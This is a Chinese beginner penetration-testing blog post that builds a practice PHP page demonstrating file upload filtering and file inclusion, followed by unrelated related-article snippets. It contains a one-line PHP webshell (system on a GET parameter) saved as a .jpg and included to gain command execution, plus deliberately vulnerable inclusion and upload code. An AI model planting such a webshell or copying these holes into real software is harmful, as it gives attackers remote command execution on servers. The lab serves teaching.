渗透测试入门学习——php文件上传与文件包含

devtools/2024/11/13 16:21:33/
最终效果:

提前在网站根目录创建upload目录:

主页面(文件名为file.php):
php"><html>
<head><meta charset="utf-8"><title>php文件相关练习</title>
</head><h1>php文件相关练习</h1><hr>
<?php//文件包含include或者requirerequire 'content_1.txt';echo $content_test;
?><hr>
<?phpecho "jpg文件包含一句话木马",'<br>';echo "产生空值报错为正常,url中传入?aaa=dir或是=ipconfig即可getshell",'<br>';require 'content_2.jpg'//文件包含存在漏洞,可上传jpg文件或是其他文件然后用包含漏洞打开执行//文件包含的另一种形式,包含POST或GET传入文件//include $_GET['file1'];//require $_POST['file2'];
?><hr>
<form action="#" method="post" enctype="multipart/form-data"><label for="file">文件名:<input type="file" name="file" id="file"><input type="submit" name="submint" value="提交">
</form><?php$allow_list = array("gif", "jpeg", "jpg", "png");           //上传文件后缀(类型)白名单$file_name = explode(".",$_FILES["file"]["name"]);          //explode()函数,将字符串以第一个参数“.”为标志分隔开成为数组$file_type = end($file_name);                               //获取数组最后的元素,确保为最后的元素以免出现识别test.php.jpg这样的文件时出现文件后缀识别错误的bugif((($_FILES["file"]["type"] == "image/gif")                //初步判断上传的文件是不是图片类型|| ($_FILES["file"]["type"] == "image/jpeg")                //六种常见的文件类型|| ($_FILES["file"]["type"] == "image/jpg")|| ($_FILES["file"]["type"] == "image/pjpeg")|| ($_FILES["file"]["type"] == "image/x-png")|| ($_FILES["file"]["type"] == "image/png"))&& ($_FILES["file"]["size"] <= 204800)                      //大小不超过200kb&& in_array($file_type, $allow_list)){                      //文件后缀(类型)需要在白名单中echo "格式正确".'<br>';if($_FILES["file"]["error"] > 0){echo "传输失败";}else{echo "文件名".$_FILES["file"]["name"]."<br>";echo "文件类型".$_FILES["file"]["type"]."<br>";echo "文件大小".$_FILES["file"]["size"]."<br>";echo "文件临时位置".$_FILES["file"]["tmp_name"]."<br>";echo "传输成功<br>";if(file_exists("upload/".$_FILES["file"]["name"])){//判断upload是否存在上传的文件echo $_FILES["file"]["name"]."文件已存在";}else{move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);//将上传的文件移动到新位置echo "文件已经存储在:"."upload/".$_FILES["file"]["name"];}}}else{if(empty($_FILES)){echo "还未上传任何文件";}else {echo "非法的文件格式";}}
?>
</html>
被包含的txt文件(文件名为content_1.txt):
php"><?php$content_test = 555;
?>
被包含的jpg文件(文件名为content_2.jpg):

命名为content_2.php编辑好后再将后缀改为.jpg,内容为一句话木马

php"><?phpsystem($_GET['aaa']);
?>

http://www.ppmy.cn/devtools/114986.html

相关文章

Zookeeper学习

文章目录 学习第 1 章 Zookeeper 入门1.1 概述Zookeeper工作机制 1.2 特点1.3 数据结构1.4 应用场景统一命名服务统一配置管理统一集群管理服务器动态上下线软负载均衡 1.5 下载zookeeper 第 2 章 Zookeeper 本地安装2.1 本地模式安装安装前准备配置修改操作 Zookeeper本地安装…

IO流体系(FiletOutputStream)

书写步骤&#xff1a; 1.创建字节输出流对象 细节1:参数是字符串表示的路径或者是File对象都是可以的 细节2:如果文件不存在会创建一个新的文件&#xff0c;但是要保证父级路径是存在的。 细节3:如果文件已经存在&#xff0c;则会清空文件 2.写数据 细节:write方法的参数…

数据结构-2.9.双链表

一.双链表与单链表的对比&#xff1a; 二.双链表的初始化(带头结点)&#xff1a; 1.图解&#xff1a; 2.代码演示&#xff1a; #include<stdio.h> #include<stdlib.h> ​ //定义双链表结构体 typedef struct DNode {int data;struct DNode *prior;//前驱指针即指…

Iterative Regularized Policy Optimization with Imperfect Demonstrations

ICML 2024 paper code Intro 利用基于次优专家数据的专家策略&#xff0c;通过policy constraint的形式引导智能体的在线优化&#xff0c;同时通过利用在线高质量数据扩展专家数据&#xff0c;并有监督得对专家策略进行矫正。二者交替优化实现目标策略的迭代更新 Method 上述…

【RabbitMQ 项目】项目概述

项目概述 一.角色划分二.服务器模块概述1.本地模块2.网络模块3.服务器模块 三.模块详细划分1.服务端2.客户端 一.角色划分 该项目的模型是一个跨主机的生产消费模型&#xff0c;有三种角色&#xff1a;生产者&#xff0c;消费者&#xff0c;中间人。对应就要实现三个大模块&…

PTA L1-062 幸运彩票

L1-062 幸运彩票&#xff08;15分&#xff09; 彩票的号码有 6 位数字&#xff0c;若一张彩票的前 3 位上的数之和等于后 3 位上的数之和&#xff0c;则称这张彩票是幸运的。本题就请你判断给定的彩票是不是幸运的。 输入格式&#xff1a; 输入在第一行中给出一个正整数 N&a…

HTML常见语法设计

HTML常见语法设计 1.HTML类和ID类id 2.HTML 响应式 Web 设计3.HTML5 语义元素4.HTML 字符实体5.HTML 编码&#xff08;字符集&#xff09; 1.HTML类和ID 类 对 HTML 进行分类&#xff08;设置类&#xff09;&#xff0c;使我们能够为元素的类定义 CSS 样式。为相同的类设置相…

lnmp - 登录技术方案设计与实现

概述 登录功能是对于每个动态系统来说都是非常基础的功能&#xff0c;用以区别用户身份、和对应的权限和信息&#xff0c;设计出一套安全的登录方案尤为重要&#xff0c;接下来我介绍一下常见的认证机制的登录设计方案。 方案设计 HTTP 是一种无状态的协议&#xff0c;客户端…